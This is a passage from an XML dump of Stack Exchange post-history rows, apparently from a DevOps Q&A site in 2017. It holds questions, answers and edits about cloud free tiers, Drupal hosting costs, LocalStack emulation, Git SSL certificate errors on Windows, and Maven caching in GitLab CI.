month&#xD;&#xA; - Google Pub/Sub: 10GB messages / month&#xD;&#xA; - Google Cloud Functions: 10 million executions / month&#xD;&#xA; - [**... and more**][7]&#xD;&#xA;&#xD;&#xA;If all of that wasn't enough for you most of the cloud providers will compensate you in credits if you blog about their services in detail, you do have to put in a substantial effort up front and &quot;appear&quot; on their radar by writing blog posts, presenting at meetup and conferences but once they see you they will gladly put $100 a month towards your further learning.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/qTvGA.png&#xD;&#xA;  [2]: https://azure.microsoft.com/free/&#xD;&#xA;  [3]: https://bizspark.microsoft.com/&#xD;&#xA;  [4]: https://i.stack.imgur.com/M8E8H.png&#xD;&#xA;  [5]: https://aws.amazon.com/free/&#xD;&#xA;  [6]: https://i.stack.imgur.com/pGTvw.png&#xD;&#xA;  [7]: https://cloud.google.com/free/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3446" PostHistoryTypeId="2" PostId="1036" RevisionGUID="756ed30e-679e-47db-a891-be6ca93e2074" CreationDate="2017-04-25T23:50:20.187" UserId="2484" Text="What are the things that should I investigate for making an estimate of the cost of deploying 1000 instances of Drupal, for example?&#xD;&#xA;&#xD;&#xA;I was thinking in:&#xD;&#xA;&#xD;&#xA;    Database space&#xD;&#xA;    Database usage (in ops/second? how can I test it?)&#xD;&#xA;    Application uploads space&#xD;&#xA;    Application processing time (again, how to measure?)&#xD;&#xA;    Bandwith usage (for medium/low traffic sites)&#xD;&#xA;    DevOps / Technical Support time&#xD;&#xA;&#xD;&#xA;This is all about bringing a SaaS platform. Is there anything else I should take in consideration?&#xD;&#xA;&#xD;&#xA;How can I know how many &quot;instances&quot; would be able to run in a single host? Much like a Shared Hosting&#xD;&#xA;&#xD;&#xA;Would Amazon EC2 / Google / Azure be cheaper than having dedicated servers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3447" PostHistoryTypeId="1" PostId="1036" RevisionGUID="756ed30e-679e-47db-a891-be6ca93e2074" CreationDate="2017-04-25T23:50:20.187" UserId="2484" Text="How can I calculate costs of deploying 1000 instances of Drupal?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3448" PostHistoryTypeId="3" PostId="1036" RevisionGUID="756ed30e-679e-47db-a891-be6ca93e2074" CreationDate="2017-04-25T23:50:20.187" UserId="2484" Text="&lt;amazon-web-services&gt;&lt;containers&gt;&lt;cloud&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3449" PostHistoryTypeId="2" PostId="1037" RevisionGUID="a3fccb71-48dd-49f2-98d5-4efc0fe57d79" CreationDate="2017-04-25T23:59:21.530" UserId="2520" Text="I think something like [this][1] could work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://support.cloudbees.com/hc/en-us/articles/226554067-Pipeline-How-to-add-an-input-step-with-timeout-that-continues-if-timeout-is-reached-using-a-default-value" ContentLicense="CC BY-SA 3.0" />
  <row Id="3450" PostHistoryTypeId="5" PostId="1037" RevisionGUID="d9a3a831-d08e-485c-8990-c1e2472d41d8" CreationDate="2017-04-26T00:47:22.170" UserId="2520" Comment="Previous answer did not stand on its own, and was incorrect." Text="This might work.  I used an example X of two hours prior.&#xD;&#xA;&#xD;&#xA;    lastBuild = currentBuild.getPreviousBuild()&#xD;&#xA;&#xD;&#xA;    if Date(lastBuild.timestamp) &lt; new Date().minusHours(2) {&#xD;&#xA;      &lt;do your thing here&gt;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You may have to whitelist `Date()`." ContentLicense="CC BY-SA 3.0" />
  <row Id="3451" PostHistoryTypeId="5" PostId="1037" RevisionGUID="bcd3266f-b9b7-4742-83eb-7ff43d73ba6e" CreationDate="2017-04-26T01:01:30.627" UserId="2520" Comment="Add link" Text="This might work.  I used an example X of two hours prior.&#xD;&#xA;&#xD;&#xA;    lastBuild = currentBuild.getPreviousBuild()&#xD;&#xA;&#xD;&#xA;    if Date(lastBuild.timestamp) &lt; new Date().minusHours(2) {&#xD;&#xA;      &lt;do your thing here&gt;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You may have to whitelist `Date()`.&#xD;&#xA;&#xD;&#xA;Cobbled together from [this Cloudbees answer](https://support.cloudbees.com/hc/en-us/articles/217591038-How-to-Iterate-Through-the-Last-Successful-Builds-in-Pipeline-Job)." ContentLicense="CC BY-SA 3.0" />
  <row Id="3454" PostHistoryTypeId="5" PostId="1035" RevisionGUID="53319e4e-3990-412e-8a80-0918f2166f1b" CreationDate="2017-04-26T04:50:50.910" UserId="739" Comment="add localstack logo" Text="# Emulate the cloud on your own hardware&#xD;&#xA;&#xD;&#xA;Doing anything substantial with the free tier is challenging.  But you probably have some hardware lying around that you can build your own minicloud on.  If you need more memory you can dig through your junk drawer.  If you build something serious there's some chance you'll decide to buy more hardware, but that is less risky than needing to pay $$$ monthly to AWS to keep your doors open.&#xD;&#xA;&#xD;&#xA;## LocalStack&#xD;&#xA;&#xD;&#xA;![LocalStack logo](https://lh3.googleusercontent.com/l53T-4YBcqSzenbQBJ_nVt-snFJi99i7yHTobRQogw=s630-fcrop64=1,1fff0ff1dfb6f00d)&#xD;&#xA;&#xD;&#xA;[LocalStack](https://bitbucket.org/atlassian/localstack) spins up local emulators of a slew of services:&#xD;&#xA;&#xD;&#xA;&gt; * API Gateway at http://localhost:4567&#xD;&#xA;&gt; * Kinesis at http://localhost:4568&#xD;&#xA;&gt; * DynamoDB at http://localhost:4569&#xD;&#xA;&gt; * DynamoDB Streams at http://localhost:4570&#xD;&#xA;&gt; * Elasticsearch at http://localhost:4571&#xD;&#xA;&gt; * S3 at http://localhost:4572&#xD;&#xA;&gt; * Firehose at http://localhost:4573&#xD;&#xA;&gt; * Lambda at http://localhost:4574&#xD;&#xA;&gt; * SNS at http://localhost:4575&#xD;&#xA;&gt; * SQS at http://localhost:4576&#xD;&#xA;&gt; * Redshift at http://localhost:4577&#xD;&#xA;&gt; * ES (Elasticsearch Service) at http://localhost:4578&#xD;&#xA;&gt; * SES at http://localhost:4579&#xD;&#xA;&gt; * Route53 at http://localhost:4580&#xD;&#xA;&gt; * CloudFormation at http://localhost:4581&#xD;&#xA;&#xD;&#xA;It is completely open-source and it seems like Atlassian is putting a lot of engineering effort into keeping it current.&#xD;&#xA;&#xD;&#xA;## Eucalyptus&#xD;&#xA;&#xD;&#xA;[Eucalyptus](https://en.wikipedia.org/wiki/Eucalyptus_(software)) has been around for a bit longer and it has free and pay features.  It supports emulating EC2, S3, and IAM." ContentLicense="CC BY-SA 3.0" />
  <row Id="3455" PostHistoryTypeId="5" PostId="1035" RevisionGUID="a9fa44cf-8357-4cc9-ab83-af469b7ee1da" CreationDate="2017-04-26T04:55:59.363" UserId="739" Comment="add localstack logo and appscale section" Text="# Emulate the cloud on your own hardware&#xD;&#xA;&#xD;&#xA;Doing anything substantial with the free tier is challenging.  But you probably have some hardware lying around that you can build your own minicloud on.  If you need more memory you can dig through your junk drawer.  If you build something serious there's some chance you'll decide to buy more hardware, but that is less risky than needing to pay $$$ monthly to AWS to keep your doors open.&#xD;&#xA;&#xD;&#xA;## LocalStack&#xD;&#xA;&#xD;&#xA;![LocalStack logo](https://lh3.googleusercontent.com/l53T-4YBcqSzenbQBJ_nVt-snFJi99i7yHTobRQogw=s630-fcrop64=1,1fff0ff1dfb6f00d)&#xD;&#xA;&#xD;&#xA;[LocalStack](https://bitbucket.org/atlassian/localstack) spins up local emulators of a slew of AWS-style services:&#xD;&#xA;&#xD;&#xA;&gt; * API Gateway at http://localhost:4567&#xD;&#xA;&gt; * Kinesis at http://localhost:4568&#xD;&#xA;&gt; * DynamoDB at http://localhost:4569&#xD;&#xA;&gt; * DynamoDB Streams at http://localhost:4570&#xD;&#xA;&gt; * Elasticsearch at http://localhost:4571&#xD;&#xA;&gt; * S3 at http://localhost:4572&#xD;&#xA;&gt; * Firehose at http://localhost:4573&#xD;&#xA;&gt; * Lambda at http://localhost:4574&#xD;&#xA;&gt; * SNS at http://localhost:4575&#xD;&#xA;&gt; * SQS at http://localhost:4576&#xD;&#xA;&gt; * Redshift at http://localhost:4577&#xD;&#xA;&gt; * ES (Elasticsearch Service) at http://localhost:4578&#xD;&#xA;&gt; * SES at http://localhost:4579&#xD;&#xA;&gt; * Route53 at http://localhost:4580&#xD;&#xA;&gt; * CloudFormation at http://localhost:4581&#xD;&#xA;&#xD;&#xA;It is completely open-source and it seems like Atlassian is putting a lot of engineering effort into keeping it current.&#xD;&#xA;&#xD;&#xA;## AppScale&#xD;&#xA;&#xD;&#xA;![AppScale logo](https://jujucharms.com/_icon/120/appscale.png)&#xD;&#xA;&#xD;&#xA;[AppScale](https://www.appscale.com/community/what-is-appscale/) can help you emulate the Google cloud:&#xD;&#xA;&#xD;&#xA;&gt; AppScale is an open-source cloud computing platform that automatically deploys and scales unmodified Google App Engine applications over public and private cloud systems and on-premise clusters. AppScale is modeled on the App Engine APIs and has support for Python, Go, PHP and Java applications.&#xD;&#xA;&#xD;&#xA;&gt; AppScale is supported and maintained by AppScale Systems, in conjunction with Google.&#xD;&#xA;&#xD;&#xA;## Eucalyptus&#xD;&#xA;&#xD;&#xA;[Eucalyptus](https://en.wikipedia.org/wiki/Eucalyptus_(software)) has been around for a bit longer and it has free and pay features.  It supports emulating EC2, S3, and IAM." ContentLicense="CC BY-SA 3.0" />
  <row Id="3456" PostHistoryTypeId="6" PostId="845" RevisionGUID="2c8e6b7b-74be-4ab4-a8e6-5fbf325af3c5" CreationDate="2017-04-26T11:37:04.177" UserId="210" Comment="missing tag added" Text="&lt;docker&gt;&lt;containers&gt;&lt;orchestration&gt;&lt;kubernetes&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3457" PostHistoryTypeId="24" PostId="845" RevisionGUID="2c8e6b7b-74be-4ab4-a8e6-5fbf325af3c5" CreationDate="2017-04-26T11:37:04.177" Comment="Proposed by 210 approved by 40, 3 edit id of 314" ContentLicense="CC BY-SA 3.0" />
  <row Id="3458" PostHistoryTypeId="5" PostId="998" RevisionGUID="16932468-8483-4639-9a02-eba36b3ef72a" CreationDate="2017-04-26T11:39:22.573" UserId="3" Comment="Corrects typo." Text="Your question sounds like you should have a look at what I call **F**eatures **C**onfiguration **M**anagement, aka **FCM**. FCM is not only about using Drupal's [Features][1] module, and not about ***Configuration Management*** (as introduced in Drupal version 8). Instead, it is a special case of [**S**oftware **C**onfiguration **M**anagement][2], aka **SCM**, applied to Drupal.&#xD;&#xA;&#xD;&#xA;Mostly because [Features][1] can be considered as a code generator, whereas that generated code may be considered as the *build script* (as in your question). Which can then also be used to be migrated through multiple environments.&#xD;&#xA;&#xD;&#xA;Have a look at my (popular) answer to &quot;[How to use the Features module in a 3 dev environments?][3]&quot; for (way) more details about all this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.drupal.org/project/features&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software_configuration_management&#xD;&#xA;  [3]: https://drupal.stackexchange.com/a/199860/39516" ContentLicense="CC BY-SA 3.0" />
  <row Id="3459" PostHistoryTypeId="2" PostId="1038" RevisionGUID="b67c7b59-8daf-4c8a-baca-e5dfb2256f93" CreationDate="2017-04-26T11:45:06.300" UserId="707" Text="all, I have a working certificates chain (testable with OpenSSL) but somehow I cannot manage to tell Git to load these certificates.&#xD;&#xA;&#xD;&#xA;I get **the same** &quot;untrusted root authority&quot; error **independently** of whether my git configuration points to an existing or a fake certificate chain file.&#xD;&#xA;&#xD;&#xA;For details, please check the attached screenshot.[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Setting I use in .gitconfig:&#xD;&#xA;&#xD;&#xA;sslCAInfo = C:/tmp/foobar.crt (for fake file)&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;sslCAInfo = C:/tmp/ca-bundle.crt (for real file which works with OpenSSL)&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/dB3ft.png&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3460" PostHistoryTypeId="1" PostId="1038" RevisionGUID="b67c7b59-8daf-4c8a-baca-e5dfb2256f93" CreationDate="2017-04-26T11:45:06.300" UserId="707" Text="Git seems to recognize http.sslcainfo property from .gitconfig but ignores it on execution?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3461" PostHistoryTypeId="3" PostId="1038" RevisionGUID="b67c7b59-8daf-4c8a-baca-e5dfb2256f93" CreationDate="2017-04-26T11:45:06.300" UserId="707" Text="&lt;git&gt;&lt;windows&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3462" PostHistoryTypeId="5" PostId="1038" RevisionGUID="6b65834b-325e-4782-97ae-4a13a2207293" CreationDate="2017-04-26T11:54:42.093" UserId="707" Comment="added 24 characters in body; edited title" Text="all, I have a working certificates chain (testable with OpenSSL) but somehow I cannot manage to tell Git to load these certificates. &#xD;&#xA;&#xD;&#xA;I get **the same** &quot;untrusted root authority&quot; error (SEC_E_UNTRUSTED_ROOT) **independently** of whether my git configuration points to an existing or a fake certificate chain file.&#xD;&#xA;&#xD;&#xA;For details, please check the attached screenshot.[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Setting I use in .gitconfig:&#xD;&#xA;&#xD;&#xA;sslCAInfo = C:/tmp/foobar.crt (for fake file)&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;sslCAInfo = C:/tmp/ca-bundle.crt (for real file which works with OpenSSL)&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/dB3ft.png&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3463" PostHistoryTypeId="4" PostId="1038" RevisionGUID="6b65834b-325e-4782-97ae-4a13a2207293" CreationDate="2017-04-26T11:54:42.093" UserId="707" Comment="added 24 characters in body; edited title" Text="Git seems to recognize http.sslcainfo property from .gitconfig but ignores it on execution? SEC_E_UNTRUSTED_ROOT" ContentLicense="CC BY-SA 3.0" />
  <row Id="3464" PostHistoryTypeId="2" PostId="1039" RevisionGUID="0f9ea449-be85-49a0-9262-0881548d4526" CreationDate="2017-04-26T12:01:13.007" UserId="1200" Text="We have a server running gitlab and gitlab-runners on same machine. I've defined a runner as below&#xD;&#xA;&#xD;&#xA;    [abc@xyz bin]# gitlab-ci-multi-runner register&#xD;&#xA;    Running in system-mode.                            &#xD;&#xA;                                                       &#xD;&#xA;    Please enter the gitlab-ci coordinator URL (e.g. https://gitlab.com/):&#xD;&#xA;    http://abc.xyz.com                                                                     &#xD;&#xA;    Please enter the gitlab-ci token for this runner:&#xD;&#xA;    9nev5wz3voabcdefgh&#xD;&#xA;    Please enter the gitlab-ci description for this runner:&#xD;&#xA;    [opera.ishisystems.com]: second-docker-remote-runner&#xD;&#xA;    Please enter the gitlab-ci tags for this runner (comma separated):&#xD;&#xA;    docker, remote&#xD;&#xA;    Whether to run untagged builds [true/false]:&#xD;&#xA;    [false]: &#xD;&#xA;    Whether to lock Runner to current project [true/false]:&#xD;&#xA;    [false]: &#xD;&#xA;    Registering runner... succeeded                     runner=9nev5wz3&#xD;&#xA;    Please enter the executor: docker, docker-ssh, ssh, docker+machine, docker-ssh+machine, parallels, shell, virtualbox, kubernetes:&#xD;&#xA;    docker&#xD;&#xA;    Please enter the default Docker image (e.g. ruby:2.1):&#xD;&#xA;    node:4.2.2&#xD;&#xA;    Runner registered successfully. Feel free to start it, but if it's running already the config should be automatically reloaded! &#xD;&#xA;&#xD;&#xA;and my `.gitlab-ci.yml` is &#xD;&#xA;&#xD;&#xA;    image: maven:3-jdk-7&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      - wurstmeister/kafka:0.8.2.1&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      MAVEN_REPO: &quot;$CI_PROJECT_DIR/.m2&quot;&#xD;&#xA;    &#xD;&#xA;    cache:&#xD;&#xA;        key: &quot;$CI_BUILD_STAGE&quot;&#xD;&#xA;        paths:&#xD;&#xA;          - .m2&#xD;&#xA;    &#xD;&#xA;    build:&#xD;&#xA;      script: &quot;mvn -Dmaven.repo.local=$MAVEN_REPO test -B&quot;&#xD;&#xA;      tags:&#xD;&#xA;      - docker&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What I'm trying to do is setup a **central maven repository** on my gitlab-runner server so that every time a new job is fired **instead of downloading** all the maven dependencies it should **use the cached repository**." ContentLicense="CC BY-SA 3.0" />
  <row Id="3465" PostHistoryTypeId="1" PostId="1039" RevisionGUID="0f9ea449-be85-49a0-9262-0881548d4526" CreationDate="2017-04-26T12:01:13.007" UserId="1200" Text="Using gitlab-ci to cache maven repository" ContentLicense="CC BY-SA 3.0" />
  <row Id="3466" PostHistoryTypeId="3" PostId="1039" RevisionGUID="0f9ea449-be85-49a0-9262-0881548d4526" CreationDate="2017-04-26T12:01:13.007" UserId="1200" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3467" PostHistoryTypeId="5" PostId="992" RevisionGUID="8111e877-6350-45cb-97f4-78a67093d9a1" CreationDate="2017-04-26T12:17:54.193" UserId="10" Comment="added 75 characters in body" Text="We require a review process using Pull requests in github onto our main dev or master branches. During that review process, we will mark pull requests as requiring changes if many files have white space or line ending differences, and insist that they follow the formatting of the dev or master branch they are making the pull request for.&#xD;&#xA;&#xD;&#xA;There are also some nice tools depending on which languages you use and which CI tools you use, which can, during the build process or pull request step auto format the code based on rules that you set up.  That also helps with keeping code looking consistent and minimizing formatting issues when committing code." ContentLicense="CC BY-SA 3.0" />
  <row Id="3468" PostHistoryTypeId="2" PostId="1040" RevisionGUID="115fbcb5-3509-4c29-8f2a-af73583fa0ef" CreationDate="2017-04-26T13:48:56.317" UserId="1202" Text="You could use [per repository config][1] to override the user's config on a per-repository basis.  When done on the repo considered to be the central source it should propagate with clones and pulls to other repos including local ones thus overriding centrally the local config.&#xD;&#xA;&#xD;&#xA;You can further enforce this through [hooks][2] in your central repo to check that file endings are what they supposed to be and reject the merge/push should it not be kosher.  However these hooks will not clone with the repo, least not directly but this is not necessary since the rules only really need to be enforced on the central repo.&#xD;&#xA;&#xD;&#xA;Using templates in your [git init][3] you can ensure that your repos are created equals with all the gitignore, gitattributes etc files just the way you want them to be.&#xD;&#xA;&#xD;&#xA;Last thing, not directly related to your question, I found the biggest friction point when taking svn saavy team to a git based workflow what to get them used to the extra repo in the middle.  I found that this [visual cue sheet][4] helped a bit explain which command had what effect to which part.&#xD;&#xA;&#xD;&#xA;Hope this helped a bit.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://git-scm.com/docs/gitattributes&#xD;&#xA;  [2]: https://git-scm.com/book/gr/v2/Customizing-Git-Git-Hooks&#xD;&#xA;  [3]: https://git-scm.com/docs/git-init&#xD;&#xA;  [4]: http://ndpsoftware.com/git-cheatsheet.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="3469" PostHistoryTypeId="2" PostId="1041" RevisionGUID="49272d1f-9bcd-4482-bd48-119899e4fdeb" CreationDate="2017-04-26T14:03:35.833" UserId="1202" Text="To me the easiest route to this would be to have an instance of an artifactory running.  There are several choices out there many of which have an open-source, community or free version that would support maven repositories.  Most options will support caching remote repositories (maven central for example) which can then be curated to enforce specific versions of the dependencies through your projects.  It will also accept your own dependencies this way you can have a central unique access point for all maven dependencies in your team.&#xD;&#xA;&#xD;&#xA;I've personally had success with Sonatype's Nexus ([OSS version][1], or [Pro version][2]).  There are [other choices][3] out there though check them out.&#xD;&#xA;&#xD;&#xA;That said,  If what you want is to prime the local repository for a new agent you want to provision you could do so but frankly unless you have some real hefty dependencies (say in the GB size range) then I would not bother doing so really and just let Maven naturally pull from the local binary repository instead.  It makes for a simpler solution that will be more robust in the long run.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sonatype.com/nexus-repository-oss&#xD;&#xA;  [2]: https://www.sonatype.com/nexus-repository-software-component-management&#xD;&#xA;  [3]: https://binary-repositories-comparison.github.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3470" PostHistoryTypeId="4" PostId="994" RevisionGUID="4e323b5f-aca5-4c1a-a908-d3a36d82a2e5" CreationDate="2017-04-26T14:24:38.810" UserId="210" Comment="edited title" Text="What are best practices of structuring encrypting variables since Ansible 2.3.0?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3472" PostHistoryTypeId="5" PostId="1036" RevisionGUID="01cc4a8b-dd8a-43d4-869a-cb8cfdee7fbc" CreationDate="2017-04-26T15:01:31.833" UserId="14" Comment="deleted 11 characters in body" Text="What are the things that should I investigate for making an estimate of the cost of deploying 1000 instances of Drupal, for example?&#xD;&#xA;&#xD;&#xA;I was thinking in:&#xD;&#xA;&#xD;&#xA;- Database space&#xD;&#xA;- Database usage (in ops/second? how can I test it?)&#xD;&#xA;- Application uploads space&#xD;&#xA;- Application processing time (again, how to measure?)&#xD;&#xA;- Bandwidth usage (for medium/low traffic sites)&#xD;&#xA;- DevOps / Technical Support time&#xD;&#xA;&#xD;&#xA;This is all about bringing a SaaS platform. Is there anything else I should take in consideration?&#xD;&#xA;&#xD;&#xA;How can I know how many &quot;instances&quot; would be able to run in a single host? Much like a Shared Hosting&#xD;&#xA;&#xD;&#xA;Would Amazon EC2 / Google / Azure be cheaper than having dedicated servers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3473" PostHistoryTypeId="6" PostId="1036" RevisionGUID="50024c61-0b32-4712-b54d-a31de2652fa5" CreationDate="2017-04-26T15:02:29.107" UserId="46" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;containers&gt;&lt;cloud&gt;&lt;google-cloud-platform&gt;&lt;drupal&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3475" PostHistoryTypeId="2" PostId="1042" RevisionGUID="98e38475-50c1-460b-8ea1-7c6ee3c32225" CreationDate="2017-04-26T15:51:11.850" UserId="1208" Text="I am very to new to .NET projects and I am wondering which is the best tool to store binaries of .NET project. How good to store binaries of .NET projects in artifactory and why? can some one answer generally Any comments can be helpful." ContentLicense="CC BY-SA 3.0" />
  <row Id="3476" PostHistoryTypeId="1" PostId="1042" RevisionGUID="98e38475-50c1-460b-8ea1-7c6ee3c32225" CreationDate="2017-04-26T15:51:11.850" UserId="1208" Text="Best way of binary repository for .NET projects" ContentLicense="CC BY-SA 3.0" />
  <row Id="3477" PostHistoryTypeId="3" PostId="1042" RevisionGUID="98e38475-50c1-460b-8ea1-7c6ee3c32225" CreationDate="2017-04-26T15:51:11.850" UserId="1208" Text="&lt;continuous-integration&gt;&lt;dotnet&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3478" PostHistoryTypeId="5" PostId="898" RevisionGUID="02a6d91e-1982-4db6-8c2c-9e38f3d61c74" CreationDate="2017-04-26T16:11:22.990" UserId="397" Comment="deleted 1 character in body" Text="A &quot;retry storm&quot; is caused when clients are configured to retry a set number of times before giving up, a retry policy is necessary because of packets loss will occur in normal operation of a service.&#xD;&#xA;&#xD;&#xA;Take this example:&#xD;&#xA;&#xD;&#xA;[![Sample Architecture][1]][1]&#xD;&#xA;&#xD;&#xA;If for example the services as a whole were scaled to support 80,000 requests per seconds and run at about 80% of capacity, a spike in traffic that caused the service to receive 101,000 requests per second would cause 1,000 of those requests to fail.&#xD;&#xA;&#xD;&#xA;When the retry policies kick in, you end up with additional 1,000+ requests, depending on where the failure was detected which would push the service as a whole up to 102,000 requests per second - from there your service goes into a death spiral doubling the number of failed requests every second.&#xD;&#xA;&#xD;&#xA;Other than massive over-provisioning of services beyond the projected peak transaction, which would be inefficient.  What strategies can you employ to avoid &quot;retry storms&quot;?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/gCgAH.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="3479" PostHistoryTypeId="2" PostId="1043" RevisionGUID="9ce9d3fd-cfd4-41ee-b5ba-bfaaccdf26c3" CreationDate="2017-04-26T16:22:06.857" UserId="1096" Text="I'd recommend [ProGet](http://inedo.com/proget). If you're familiar with Artifactory you might find this comparison helpful: https://inedo.com/support/kb/1115/a-comparison-artifactory-vs-proget " ContentLicense="CC BY-SA 3.0" />
  <row Id="3480" PostHistoryTypeId="5" PostId="1038" RevisionGUID="6dcf9e58-1fb2-450f-9105-7806c78da5a4" CreationDate="2017-04-26T17:20:11.920" UserId="47" Comment="improved formatting" Text="all, I have a working certificates chain (testable with OpenSSL) but somehow I cannot manage to tell Git to load these certificates. &#xD;&#xA;&#xD;&#xA;I get **the same** &quot;untrusted root authority&quot; error (SEC_E_UNTRUSTED_ROOT) **independently** of whether my git configuration points to an existing or a fake certificate chain file.&#xD;&#xA;&#xD;&#xA;For details, please check the attached screenshot.[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Setting I use in `.gitconfig` for fake file:&#xD;&#xA;&#xD;&#xA;    sslCAInfo = C:/tmp/foobar.crt&#xD;&#xA;&#xD;&#xA;or, for real file which works with OpenSSL:&#xD;&#xA;&#xD;&#xA;    sslCAInfo = C:/tmp/ca-bundle.crt&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/dB3ft.png&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3481" PostHistoryTypeId="5" PostId="1038" RevisionGUID="d107bf02-68a8-41ab-9bbe-de1741e6fccf" CreationDate="2017-04-26T18:11:28.547" UserId="707" Comment="added 1200 characters in body" Text="all, I have a working certificates chain (testable with OpenSSL) but somehow I cannot manage to tell Git to load these certificates. &#xD;&#xA;&#xD;&#xA;I get **the same** &quot;untrusted root authority&quot; error (SEC_E_UNTRUSTED_ROOT) **independently** of whether my git configuration points to an existing or a fake certificate chain file.&#xD;&#xA;&#xD;&#xA;For details, please check the attached screenshot.[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Setting I use in `.gitconfig` for fake file:&#xD;&#xA;&#xD;&#xA;    sslCAInfo = C:/tmp/foobar.crt&#xD;&#xA;&#xD;&#xA;or, for real file which works with OpenSSL:&#xD;&#xA;&#xD;&#xA;    sslCAInfo = C:/tmp/ca-bundle.crt&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/dB3ft.png&#xD;&#xA;&#xD;&#xA;Console transcript:&#xD;&#xA;&#xD;&#xA;    C:\tmp&gt;openssl version&#xD;&#xA;    OpenSSL 0.9.8h 28 May 2008&#xD;&#xA;    &#xD;&#xA;    C:\tmp&gt;git --version&#xD;&#xA;    git version 2.12.2.windows.2&#xD;&#xA;    &#xD;&#xA;    C:\tmp&gt;git config --list&#xD;&#xA;    http.sslverify=true&#xD;&#xA;    http.sslcainfo=C:/tml/ca-bundle.crt&#xD;&#xA;    &#xD;&#xA;    C:\tmp&gt;dir&#xD;&#xA;    24.04.2017 13:45 10.875 ca-bundle.crt&#xD;&#xA;    &#xD;&#xA;    c:\tmp&gt;openssl s_client -state -connect https://mygithost:443 -CAfile .\ca-bundle.crt&#xD;&#xA;    &#xD;&#xA;    Verify return code: 0 (ok)&#xD;&#xA;    &#xD;&#xA;    C:\tmp git clone https://mygithost/bitbucket/scm/my.git&#xD;&#xA;    Cloning into ...&#xD;&#xA;    fatal: unable to access ... : schannel: next InitializeSecurityContext failed: SEC_E_UNTRUSTED_ROOT (0x80090325) - The certificate chain was issued by an authority that is not trusted.&#xD;&#xA;    &#xD;&#xA;    C:\tmp&gt; git -c http.sslverify=false clone https://mygithost/bitbucket/scm/my.git&#xD;&#xA;    Cloning into ...&#xD;&#xA;    Resoliving deltas: 100%, done.&#xD;&#xA;    &#xD;&#xA;    C:\tmp&gt;git config --list&#xD;&#xA;    http.sslverify=true&#xD;&#xA;    http.sslcainfo=C:/tmp/foobar.crt&#xD;&#xA;    &#xD;&#xA;    C:\tmp\xxx\git pull&#xD;&#xA;    fatal: unable to access ... : schannel: next InitializeSecurityContext failed: SEC_E_UNTRUSTED_ROOT (0x80090325) - The certificate chain was issued by an authority that is not trusted." ContentLicense="CC BY-SA 3.0" />
  <row Id="3482" PostHistoryTypeId="2" PostId="1044" RevisionGUID="840c44ac-8408-4f15-8db3-6545116a3434" CreationDate="2017-04-26T21:58:22.683" UserId="2534" Text="We have a historically grown setup of interface applications that needs to be  inventorized and cleaned up. Afterwards deployment should be automated and application versions somehow documented.&#xD;&#xA;&#xD;&#xA;My problem is that this setup is on a Windows network share only accessible from my work computer (Windows 7).&#xD;&#xA;There is currently no way to change that setup.&#xD;&#xA;&#xD;&#xA;Tools that I already looked at are Puppet, Capistrano, Octopus Deploy, RapidDeploy and Ansible. The last one seems to be exactly what I need, but is only available for Linux.&#xD;&#xA;&#xD;&#xA;Which tool can be recommended to be used for this task?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3483" PostHistoryTypeId="1" PostId="1044" RevisionGUID="840c44ac-8408-4f15-8db3-6545116a3434" CreationDate="2017-04-26T21:58:22.683" UserId="2534" Text="Windows network share application deployment automation" ContentLicense="CC BY-SA 3.0" />
  <row Id="3484" PostHistoryTypeId="3" PostId="1044" RevisionGUID="840c44ac-8408-4f15-8db3-6545116a3434" CreationDate="2017-04-26T21:58:22.683" UserId="2534" Text="&lt;ansible&gt;&lt;deployment&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
